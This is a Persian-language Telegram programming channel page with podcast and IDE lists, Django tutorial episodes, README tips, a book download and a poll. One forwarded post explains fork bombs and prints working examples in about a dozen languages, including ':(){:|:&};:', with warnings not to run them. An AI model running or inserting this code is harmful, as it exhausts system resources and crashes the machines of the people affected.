Fara Code | برنامه نویسی
3.38K subscribers
528 photos
237 videos
67 files
247 links
جایی که صفر و یک‌ها خوش می‌گذره!

📘 books & codes
🧠 tips & tricks
🎉 fun for devs

👥 group: @FaraCodeGp
🧑‍💻 Owner: @samannmz
Download Telegram
پادکست های فارسی برنامه نویسی🎙

🔹راکت کست
🔸سورس ایران
🔹رادیو فول استک
🔸سون لرن
🔹فرانت کست
🔸رادیو گیگ


#پادکست #برنامه‌نویسی

@Learrning_Python
@python_develops
👍8🔥2
🔻وزیر ارتباطات:

🔹به زودی اینترنت با سرعت چندصد مگابایت بر ثانیه در چند شهر در اختیار مردم قرار خواهد گرفت.😐

نظرتون چیه؟

@Learrning_Python
@python_develops
😐18🗿8👍2🤬1🤣1
استوری‌های تلگرام برای کاربران ایران فعلا منتشر نمیشه

برای کاربران در کشور های روسیه ،اندونزی ، اوکراین ، ازبکستان و هند نیز هنوز امکان ارسال استوری فعال نشده ❗️

@Learrning_Python
🤬8🤯3🗿3👍2🤣1
فشرده سازی فایل ها با پایتون📁🐍


#پایتون #آموزش

@Learrning_Pythom
@python_develops
👍10👨‍💻3🔥1
Slice (Bonus)
The Encounter
وقتایی‌که قراره با فاز #هکری
کد‌بزنی پلی کن


#music

@Learrning_Python
👨‍💻7🔥2🤣2
Media is too big
VIEW IN TELEGRAM
🔅 آموزش جنگو
قسمت: 31

بستون ۳۱ - نمایش خرج ها و درآمدهای قبلی در اپ آیونیک

🔻آموزش جنگو قسمت اول

#جنگو #django


برنامه نویسی پایتون
🆔@Learrning_Python
👍102
محبوب‌ترین محیط‌های توسعه‌برای‌برنامه‌نویسان💻
⭐️ به‌ترتیب

Vscode
VisualStadio
PyCharm
intellij idea
Notepad ++
Vim
Jupiter Notebook
Sublime Text

🟢 آمار بر اساس استک‌اورفلو هست.

@Learrning_Python
@python_develops
👍13🤝21
Forwarded from Python Hints
امکان نداره شما پروژه پایتونی رو کد بزنید و اطلاعات درست پروژه رو ندید
Readme.md

حداقل باید شامل ۳ مورد باشه :
۱- سیستم عاملی که روش کد زدید یا تست گرفتید :
OS: Ubuntu 20.04
۲- ورژن پایتونی که دارید استفاده می‌کنید:
Python: CPython 3.10.12
پایتون نسخه‌های مختلفی داره اگر از نسخه سایت python.org استفاده می‌کنید به اسم CPython شناخته می‌شه (توی شرکت‌هایی که از نسخه‌های دیگه مثل IronPython - Pypy - IntelPython استفاده می‌کنند رعایت این نکته بسیار مهم هست)

۳- دستور اصلی به جهت اجرای پروژه :
$ python main.py —help


فقط تحت ۱ شرابط حق دارید ۲ مورد اول رو جایی گزارش نکنید و کسی هم بهتون سخت نگیره (هرچند بازم خوب نیست ولی خب) :
Docker

اگر Dockerfile یا docker image استفاده می‌کنید توی پروژه می‌تونید به ترتیب هر ۳ مورد یا ۲ مورد اول رو توی گزارش ننویسید.
👍1021🤝1
This media is not supported in your browser
VIEW IN TELEGRAM
3🔥1
گوگل لنز برای کاربران ایرانی رفع تحریم میشود. ( منبع )
@Learrning_Python
👍7
زندگی برنامه نویسان🙂👨‍💻


@Learrning_Python
👍12🤝2😁1
Media is too big
VIEW IN TELEGRAM
🔅 آموزش جنگو
قسمت: 32

بستون ۳۲ - به روز رسانی خبرها در هربار ورود به صفحه

🔻آموزش جنگو قسمت اول

#جنگو #django

🆔@Learrning_Python
Forwarded from « FaraTech »
⚠️هشدار : قبل از کامل خوندن پست، هیچکدوم از کد هارو اجرا نکنید ⚠️


فورک بمب (forkbomb) چیه؟

فورک بمب یه نوع حمله محرومیت از سرویس (DoS) هست که در اون یه فرآیند به طور مداوم اقدام به کپی‌برداری از خودش می‌کنه و به این ترتیب منابع سیستم رو مصرف میکنه، که باعث آهسته شدن و در نهایت از کار افتادن سیستم می‌شه.

نحوه کارکرد فورک بمب‌ها هم به این صورت هست که همزمان هم پردازنده رو اشغال می‌کنن و هم جدول فرایندهای سیستم‌عامل رو اشباع می‌کنن. میشه با ایجاد کردن یه فرآیند جدید تو یه حلقه بی‌نهایت به آسونی یه فورک بمب ساده ساخت.

مثلا یه نمونه از کد فورک بمب تو شل‌اسکریپت به صورت زیر هست:

:(){:|:&};:

این کد یه تابع رو تعریف می‌کنه که خودش رو به صورت بازگشتی فراخوانی می‌کنه. هر بار که این تابع فراخوانی میشه، یه فرآیند جدید ایجاد می‌شه. بنابراین، با اجرای این کد، یه فرآیند جدید به طور مداوم در حال ایجاد شدن هست و این باعث می‌شه که سیستم از کار بیفته.
این یکی از دلایلی هست که میگن هر کدی که تو اینترنت پیدا کردین تا درکش نکردین اجرا نکنین.

خب، مثال هایی از فورک بمب تو زبان‌های مختلف میزارم براتون :

Bash Script :

#!/bin/bash
./$0|./$0&


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Batch (windows) :

%0|%0

⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
C :

#include <stdio.h>
#include <sys/types.h>

int main()
{
while(1)
fork();
return 0;
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Dart :

import'dart:isolate';
class f{
static k(o){
f();
}
f(){
for(;;)
Isolate.spawn(k,0);
}
}
main(){
f();
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
C++ :

#include <cstdlib>

int main(int argc, char **argv)
{
while (1) system(argv[0]);
return 0;
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Golang :

package main

func main() {
for {
go main()
}
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
JavaScript :

<html>
<body>
<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>
</body>
</html>


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Python :

import os
while 1:
os.fork()


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Shell Script :

#!/bin/sh
:(){ :|: & };:


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Rust :

#[allow(unconditional_recursion)]
fn main() {
std::thread::spawn(main);
main();
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Code by @WilsonWeber
C# :

while (true)
{
Process.Start(Assembly.GetExecutingAssembly().Location);
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏

کافیه این کد هارو تو یه فایل ذخیره و اجرا کنین، تا ببین چجوری منابع سیستمتون مصرف می‌شه و سیستم کرش می‌کنه🙃
البته، فایل HTML رو اگه اجرا کنین احتمالا بعد چند ثانیه جلوش گرفته می‌شه و نمیزاره صفحات بیشتری باز کنه و موجب کرش بشه، حداقل تو فایرفاکس که اینطوریه.
لطفا اجرا نکنین، فقط خواستم بگم بدونین که چقدر کدهایی که نمیدونین چیکار می‌کنن، میتونن خطرناک باشن(هر چند این که یه کد سادست، ولی کد های خطرناک‌تری هم هست)

پ.ن : اگه اشتباهی تو کدها بود هم بگین تصحیح کنم، تشکر❤️


@ProDev_Channel
👍12👌21
استاد جادی یک ویدیو جالب در مورد زبان برنامه نویسی جدید موجو که خیلی سر و صدا کرده، گذاشته که حتما توصیه میکنم ببینید.

www.instagram.com/reel/Cwh-RwJv7FL/?igshid=MmU2YjMzNjRlOQ==


@Learrning_Python
@python_develops
👍5🔥1
[کتاب پایتونی🐍]
Python Notes for Professionals

فقط فهرست مطالب رو ببینید.

🔻دانلود کتاب در پست بعدی🔻

#book #python
#کتاب #معرفی

🐍▪️@Learrning_Python▪️🐍
👍3
PythonNotesForProfessionals.pdf
5.9 MB
دانلود کتاب Python Notes for  Professionals

دانلود کنید. کتاب با ارزشی هست.

#book #python
#کتاب


🐍@Learrning_Python
🆔@python_develops
1
Fara Code | برنامه نویسی
کدوم یکی از گزینه های زیر رو دوست دارید یاد بگیرید؟
با توجه به این نظرسنجی
اگه یک دوره از پایتون با سه محوریت الگوریتم و لایبرری های کاربردی پایتون و در نهایت سه فریمورک قدرتمند پایتون در وب بزاریم آیا شرکت میکنید؟
Anonymous Quiz
49%
صددرصد
30%
احتمالا
13%
نه
9%
هیچکدام(: